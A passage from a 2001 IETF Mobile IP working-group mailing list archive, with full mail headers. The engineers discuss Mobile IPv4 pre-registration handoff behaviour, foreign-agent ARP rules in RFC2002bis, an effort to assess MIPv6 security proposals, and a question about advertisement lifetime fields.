> not it is in a PRE-REG or rfc2002 coverage area, since the actions
> it takes on movement detection will be different. For rfc2002, a
> MN typically on receipt on an advert will flush L2 caches and
> routing tables, add a default and host route through the FA, and
> send a registration reply.

It would do that after it received a registration reply. I guess that's
what you meant.

> For PRE-REG, however, the MN will on
> receipt of a PrRtAdv will send a registration request to nFA (via
> oFA), and then *do nothing* until it gets a link up trigger. Only
> then should it adjust routing and L2 caches, since if it does this
> earlier it will disrupt communications while still on oFA's link.

True, in the current draft the L2-UP is necessary in addition to
the registration reply. In a previous email on the relaying regreplies
thread I proposed to have the reply only sent to the new link.
That would mean that the normal MN behaviour would apply (which is what
was meant in the beginning) since the receipt of a successful registration
reply would make the MN change default router etc.

> 
> Now, let's break the analysis into two parts: entering a PRE-REG from
> rfc2002 coverage area, and departing a PRE-REG to rfc2002 coverage
> area.
> 
> When entering a PRE-REG area, how does the MN know that it is now
> in a PRE-REG area? Is it expected to infer this from the receipt of
> a PrRtAdv? If so, how does one distinguish a PrRtAdv? It appears that
> the only way to do this is by the presence of a GLLA 
> extension. Section
> 3.3, however, states that the inclusion of the GLLA L2 extension
> is only a MAY - perhaps it should be a MUST? Also, this means that
> FAs must always include the GLLA L2 extension in all their adverts,
> since they don't know who is soliciting them - probably good text
> for a FA considerations section.
> 
> I guess another way you might be able to distinguish a PrRtAdv is by
> looking at when it arrived. For example, if an advert shows up before
> the link-down trigger and it belongs to a different FA than 
> the current
> FA, than it must be a PrRtAdv. Either way, this should be 
> made clear in
> the spec.

I'd go for the PrRtAdv (with LLA extension) since the timing may be
tricky. The LLA would be a MUST.

> 
> When departing a PRE-REG area, you suggested that the MN can tell it
> is leaving by the absense of the L2-MT trigger, or the lack of a reply
> to PrRtSol. How does the MN differentiate between a failure and a
> departure from a PRE-REG domain? Or does it *not* differentiate, and
> just use whatever detection method it used to entering a PRE-REG area?

If MN doesn't get a PrRtAdv after it attempts PrRtSol a few times or if it
receives a normal agent adv. in the absence of PrRtSol then it MUST do
RFC2002. The choice of mov. detection method is a separate issue which could
depend on the performance on the network in question. PRE-REG specifies being
eager to register and that should be viable also in an RFC2002 network. That
may not be a perfect fit for all networks. If an MN is intelligent and can
adapt its movement detection if it sees something wrong then all the better.

I'll put in some text on the MN considerations for RFC2002/PRE-REG movement
issues if people find the above is appropriate.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 12:08:20 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21709
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 12:08:19 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA13687;
	Tue, 6 Nov 2001 09:07:17 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA29062;
	Tue, 6 Nov 2001 08:52:49 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6Gq1QO021537
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:52:01 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6Gq1QL021536
	for mobile-ip-dist; Tue, 6 Nov 2001 08:52:01 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6GpuQO021529
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:51:56 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA28914
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:51:57 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA27345
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:51:56 -0800 (PST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA6Gpuf09913
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 17:51:56 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Tue Nov 06 17:51:55 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2LMVBT>; Tue, 6 Nov 2001 17:44:04 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED5D@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Complexity
Date: Tue, 6 Nov 2001 17:51:27 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> On Tue, Nov 06, 2001 at 02:24:29PM +0100, Karim El-Malki (ERA) wrote:
> > > > In 3.3., 3.41. and 3.5 it says that the FAs SHOULD cache the
> > > > advertisements. I'll run through to check for 
> inconsistencies. The
> > > > solicitation to nFA was meant for the case in which there 
> > > was no caching.
> > > > I was making some changes and wanted to clarify in 3.3 that 
> > > the MN SHOULD
> > > > unicast solicitation to oFA. Unicasting to nFA would have 
> > > been the fallback
> > > > for those cases where caching is impossible. However this 
> > > fallback doesn't
> > > > seem to add much so I'd like to remove it altogether. Would this
> > > > solve your concern?
> > > 
> > > It would help. It would also mean that FAs MUST solicit from each
> > > other and cache aderts, and MNs MUST unicast solicitations to oFA,
> > > right?
> > 
> > I meant MNs MUST unicast solicitations to oFA and FAs SHOULD do
> > message 1a/b in advance and cache. The inter-FA soliciting and
> > advertising SHOULD be done in advance with caching unless there's a
> > good reason not to. In the latter case it becomes part of 
> the handoff
> > sequence and could add latency as described in the current text.
> 
> If neighboring FAs cache their advertisements, how do you 
> deal with stale 
> challenges???

If the challenge-response is used then the idea was to have inter-FA
solicitations frequently enough so that the cached challenge has not
expired and the MN has a chance of registering. It's explained in the
current draft (3.5) but there were some inaccuracies so I've just
updated that part.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 12:13:24 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21828
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 12:13:24 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA12296;
	Tue, 6 Nov 2001 10:12:30 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA03422;
	Tue, 6 Nov 2001 09:12:31 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6HBXQO021753
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 09:11:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6HBXWQ021752
	for mobile-ip-dist; Tue, 6 Nov 2001 09:11:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from eastmail2.East.Sun.COM (eastmail2.East.Sun.COM [129.148.1.241])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6HBDQO021745
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 09:11:26 -0800 (PST)
Received: from onion.east.sun.com (onion.East.Sun.COM [129.148.174.110])
	by eastmail2.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA01828
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 12:11:14 -0500 (EST)
Received: (from glass@localhost)
	by onion.east.sun.com (8.9.3+Sun/8.9.3) id MAA07439
	for mobile-ip@sunroof.eng.sun.com; Tue, 6 Nov 2001 12:11:44 -0500 (EST)
Received: from jurassic.eng.sun.com (jurassic [129.146.82.166] (may be forged))
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA67WoQO019695
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 23:32:50 -0800 (PST)
Received: from sun.com (dsl196-4.Eng.Sun.COM [129.146.196.4])
	by jurassic.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fA67WreA480759
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 23:32:53 -0800 (PST)
Message-ID: <3BE7918A.1CEA17A0@sun.com>
Date: Mon, 05 Nov 2001 23:30:18 -0800
From: Ashish Mehta <ashish@sun.com>
Organization: Sun Microsystems
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.8 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Question of FA obtaining MAC addresses
References: <A1170612471BD21185B90008C7FA0A0D01F1FAAD@idcpa4.pa.interdigital.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Sharif,

some questions below for clarification...

>"Shahrier, Sharif M." wrote:
> 
> Hello Carl,
> 
>         It is explicitly stated in 2002bis that the FA is not allowed to
> proxy ARP the links attached to its  router.
> 

I haven't seen proxy ARP being used with reference to the FA
in 2002bis. Did you mean broadcast ARP instead ?

> However, the HA is not prohibited from proxy ARP'ing its links to determine
> the MN's MAC address when its at home.
> 

The HA uses proxy ARP to send ARP replies on behalf of the MN
(and not to determine the MN's MAC address). Or am I misunderstanding
what you said ? As far as I can tell, the HA needs to know
the MN's MAC address only during de-registration when it (the HA)
sends out a gratutious ARP (as described in section 4.6 of 2002bis)

> I don't know why it is different for the 2 cases.
> 

If you meant broadcast ARP, then as already pointed out,
the FA broadcast ARP'ing could cause forwarding loops.

ashish

> I thought that it is still possible to use de-registration messages from the
> MN for the HA to learn its MAC address.
> 
> Perhaps the contributors to 2002 & 2002bis can explain why the two cases are
> different.
> 
> -Sharif.
> 
> -----Original Message-----
> From: Carl Williams [mailto:carlw@docomolabs-usa.com]
> Sent: Monday, November 05, 2001 4:15 AM
> To: mobile-ip@sunroof.eng.sun.com
> Subject: Re: [mobile-ip] Question of FA obtaining MAC addresses
> 
> Based on interoperability testing at various MIP bake-offs, what we
> learned was that some routers are configured to automatically proxy
> ARP for any address not belonging to the local network.  The presence
> of such routers can interfere with the operation of the Mobile IP agent.
> A foreign agent, as described in RFC2002, sends out an ARP request
> to determine the hardware address for a visiting mobile node.  If the
> proxy-ARPing router responds before the mobile node, forwarding
> loops can occur and cuasing the mobile node to be unreachable.
> 
> This input from MIP bake-offs was presented to Charlie Perkins who
> then made the appropriate changes to 2002bis to specify that
> the FA not ARPing for a mobile node's hardware address.
> 
> An implementation could pick up that information from the
> ethernet header of an incomping registration request.
> 
> Just some historical information regarding why the 2002bis change
> is there.
> 
> Carl
> 
> ----- Original Message -----
> From: "Lorang, Martin" <Martin.Lorang@detecon.com>
> To: <mobile-ip@sunroof.eng.sun.com>
> Sent: Monday, November 05, 2001 12:15 AM
> Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses
> 
> > -- Sharif wrote --
> >
> > One of the "major changes" listed in rfc2002-bis is that the foreign
> > agent
> > is not permitted to broadcast an ARP Request on all its local links, in
> > order to retreive the MAC address of a mobile node.
> >
> > However, in RFC2002, I did not see any text that prohibits this action.
> >
> > -- End Sharif
> >
> > Unfortunately, I can't answer Your question but only add another one:
> >
> > _Why_ is the foreign agent not allowed anymore to use broadcast ARP?
> >
> > As far as I can see, draft-...-rfc2002-bis-08.txt does not give any
> > reasons for this deviation from RFC2002. If I missed something (it's
> > extremely hard to search in the Mobile IP e-mail list archive), please
> > let me know.
> >


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 15:56:24 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02988
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 15:56:24 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA03555;
	Tue, 6 Nov 2001 12:55:48 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA03404;
	Tue, 6 Nov 2001 12:55:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6KrOQO022443
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 12:53:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6KrOtJ022442
	for mobile-ip-dist; Tue, 6 Nov 2001 12:53:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (bigbang.Eng.Sun.COM [152.70.8.30])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6KrKQO022435
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 12:53:21 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id MAA24484
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 12:53:21 -0800 (PST)
Message-Id: <200111062053.MAA24484@heliopolis.eng.sun.com>
Date: Tue, 6 Nov 2001 12:53:21 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: Coverage Area Transit  ion
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: UKNyQB5j4lY701wngH1Ezw==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> 
> > First I should call out one place where it looks like we may have
> > differing assumptions. I assert that the MN MUST know whether or
> > not it is in a PRE-REG or rfc2002 coverage area, since the actions
> > it takes on movement detection will be different. For rfc2002, a
> > MN typically on receipt on an advert will flush L2 caches and
> > routing tables, add a default and host route through the FA, and
> > send a registration reply.
> 
> It would do that after it received a registration reply. I guess that's
> what you meant.

Actually the MN can set the default route whenever it wants after it
gets an advert; so far as I can tell rfc2002 is silent on the matter
and it makes little difference. The implementation I am using sets
the default route after getting the advert and before sending the
registration request (yes I typoed above - s/reply/request/). This
is significantly different for PRE-REG, where it is critical the
default route is not reset until the MN is on the new FAs link. (You
do touch on this in section 3.6.) 

> 
> > For PRE-REG, however, the MN will on
> > receipt of a PrRtAdv will send a registration request to nFA (via
> > oFA), and then *do nothing* until it gets a link up trigger. Only
> > then should it adjust routing and L2 caches, since if it does this
> > earlier it will disrupt communications while still on oFA's link.
> 
> True, in the current draft the L2-UP is necessary in addition to
> the registration reply. In a previous email on the relaying regreplies
> thread I proposed to have the reply only sent to the new link.
> That would mean that the normal MN behaviour would apply (which is what
> was meant in the beginning) since the receipt of a successful registration
> reply would make the MN change default router etc.

I mostly agree - However I think it is important to point out that
normal rfc2002 MN behavior does not apply on receipt of the registration
reply during PRE-REG handover. While this may fall in the catagory of
implementation details, it does shed light on the MN modifications
needed for PRE-REG needed for many platforms...

For normal rfc2002 MNs, you must set up a host route to the FA and add a
L2 cache entry for the FA before sending the registration request, or
else the request will not make to the FA. As discussed above, the MN
has some latitude for setting the default route. On receipt of a
registration reply, a MN may not have anything more to do with routing.

During PRE-REG, MNs must not set up a host and/or default route to nFA
before sending the registration request. All routing and L2 cache
updates must be done after the link up trigger (or possibly the following
registration reply - does it matter?)

> 
> > 
> > Now, let's break the analysis into two parts: entering a PRE-REG from
> > rfc2002 coverage area, and departing a PRE-REG to rfc2002 coverage
> > area.
> > 
> > When entering a PRE-REG area, how does the MN know that it is now
> > in a PRE-REG area? Is it expected to infer this from the receipt of
> > a PrRtAdv? If so, how does one distinguish a PrRtAdv? It appears that
> > the only way to do this is by the presence of a GLLA 
> > extension. Section
> > 3.3, however, states that the inclusion of the GLLA L2 extension
> > is only a MAY - perhaps it should be a MUST? Also, this means that
> > FAs must always include the GLLA L2 extension in all their adverts,
> > since they don't know who is soliciting them - probably good text
> > for a FA considerations section.
> > 
> > I guess another way you might be able to distinguish a PrRtAdv is by
> > looking at when it arrived. For example, if an advert shows up before
> > the link-down trigger and it belongs to a different FA than 
> > the current
> > FA, than it must be a PrRtAdv. Either way, this should be 
> > made clear in
> > the spec.
> 
> I'd go for the PrRtAdv (with LLA extension) since the timing may be
> tricky. The LLA would be a MUST.

I agree.

> 
> > 
> > When departing a PRE-REG area, you suggested that the MN can tell it
> > is leaving by the absense of the L2-MT trigger, or the lack of a reply
> > to PrRtSol. How does the MN differentiate between a failure and a
> > departure from a PRE-REG domain? Or does it *not* differentiate, and
> > just use whatever detection method it used to entering a PRE-REG area?
> 
> If MN doesn't get a PrRtAdv after it attempts PrRtSol a few times or if it
> receives a normal agent adv. in the absence of PrRtSol then it MUST do
> RFC2002. The choice of mov. detection method is a separate issue which could
> depend on the performance on the network in question. PRE-REG specifies being
> eager to register and that should be viable also in an RFC2002 network. That
> may not be a perfect fit for all networks. If an MN is intelligent and can
> adapt its movement detection if it sees something wrong then all the better.

Sure. I think we just need to make sure that the minimum rules needed to
ensure interoperability are present in the spec. Just saying that the
MN should be eager to register might be a bit too loose.

> 
> I'll put in some text on the MN considerations for RFC2002/PRE-REG movement
> issues if people find the above is appropriate.
> 

Jonathan



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 16:12:29 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03520
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 16:12:28 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA28895;
	Tue, 6 Nov 2001 14:11:37 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA06899;
	Tue, 6 Nov 2001 13:11:43 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6LAJQO022585
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 13:10:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6LAJ5P022584
	for mobile-ip-dist; Tue, 6 Nov 2001 13:10:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6LAFQO022577
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 13:10:16 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA21294
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 13:10:01 -0800 (PST)
Received: from netmail.alcatel.com (netmail.alcatel.com [128.251.168.50])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA29386
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 13:10:16 -0800 (PST)
Received: from auds951.usa.alcatel.com (auds951.usa.alcatel.com [143.209.238.80])
	by netmail.alcatel.com (8.9.1/8.9.1) with ESMTP id PAA09158
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 15:10:15 -0600 (CST)
Received: from alcatel.com (localhost [127.0.0.1])
	by auds951.usa.alcatel.com (8.10.2/8.10.2) with ESMTP id fA6LAEW15607
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 15:10:14 -0600 (CST)
Message-ID: <3BE84361.D7C90E59@alcatel.com>
Date: Tue, 06 Nov 2001 15:09:05 -0500
From: Behcet Sarikaya <behcet.sarikaya@alcatel.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD BDPjm-Sony3  (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] MIPv6 Security: Assessment of Proposals
References: <3BE79CC6.5AFF30BA@sun.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Hello Gabriel,
  Profiting the occasion, may I ask you what you think on the notorious debate on piggybacking
BUs, i.e. Arkko draft options 6.1-6.4?

Regards,

gabriel montenegro wrote:

> Folks,
>
> The chairs had asked me if I would be able to help with a document evaluating the different
> proposals against the requirements document (soon to appear in its rev02 version
> at your favorite drafts repository as draft-ietf-mobileip-mipv6-scrty-reqts-02.txt).
> I've been neglecting this terribly.
>
> Unfortunately, the problem won't go away. Given the shortness of time, the
> impending draft deadline next week, the urgency to have some progress
> by Salt Lake City, and the numerous proposals on the table, in consultation
> with the chairs, we've decided to involve all of you in a distributed effort to
> start this document.
>
> I've provided a skeleton, and a nomenclature based on the items in the
> requirements document. The idea is that each proposal has its own section in which
> it is assessed in a well-defined format. We have already asked the authors for
> help with their respective protocol assessments.
>
> We believe that involving the authors
> early on is a good way to get us all thinking critically (pros and cons)
> about our own proposals, and it would be a quick way to jump start the
> review and evaluation process.
>
> But we hope and anticipate that all interested working group members will
> participate as well. You will find further info on how to assess the proposals
> in the attached document. If you have time to assess only one proposal: great.
> More than that? Wonderful.
>
> In order to make the deadline, it would be great if you could send me
> the evaluations for your proposals by next Tuesday November 13. That would give me
> a little over a day to include them into the evaluation document in time for
> submission. Any feedback received after Tuesday will be taken into consideration
> for the post Salt Lake City revision.
>
> Thanks in advance for your cooperation,
>
> -gabriel
> --
> Gabriel Montenegro (Sun Microsystems Laboratories, Europe)
> 29, chemin du Vieux Chêne         Email: gabriel.montenegro@sun.com
> 38240 Meylan, France              Mobile: +33 673 99 56 62
> Office: +33 476 18 80 45 (sun internal: x38045)
> Fax:    +33 476 18 88 88
>
>   ------------------------------------------------------------------------

--
Behcet



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 05:04:51 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA00189
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 05:04:50 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA13708;
	Wed, 7 Nov 2001 02:03:21 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA13123;
	Wed, 7 Nov 2001 02:02:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7A24QO023325
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 02:02:04 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7A244S023324
	for mobile-ip-dist; Wed, 7 Nov 2001 02:02:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7A21QO023317
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 02:02:01 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA12990
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 02:01:45 -0800 (PST)
Received: from mailweb29.rediffmail.com ([203.199.83.149])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id DAA00158
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 03:02:00 -0700 (MST)
Received: (qmail 24713 invoked by uid 510); 7 Nov 2001 10:02:17 -0000
Date: 7 Nov 2001 10:02:17 -0000
Message-ID: <20011107100217.24712.qmail@mailweb29.rediffmail.com>
Received: from unknown (202.142.64.180) by rediffmail.com via HTTP; 07 Nov 2001 10:02:17 -0000
MIME-Version: 1.0
From: "Anjaneyulu  Vemu" <vemananj@rediffmail.com>
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] Confusion regarding the lifetime field!!!!!!
Content-type: text/plain;
	charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fA7A21QO023318
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

In the agent advertisement there are two parts : ICMP Router Advertisement & mobility 

extension. Both of them has the lifetime field. According to the RFC2002, algorithm 1 for 

move detection says that the lifetime in the ICMP Router Advertisement should be used for 

move detection.
The registration lifetime in the mobility extension is to be used in the registration 

request message.
 
Question : Does it mean that the mobile node will be sending registration request every x 

units (registration lifetime in mobility extension) until the ICMP lifetime expires???

OR

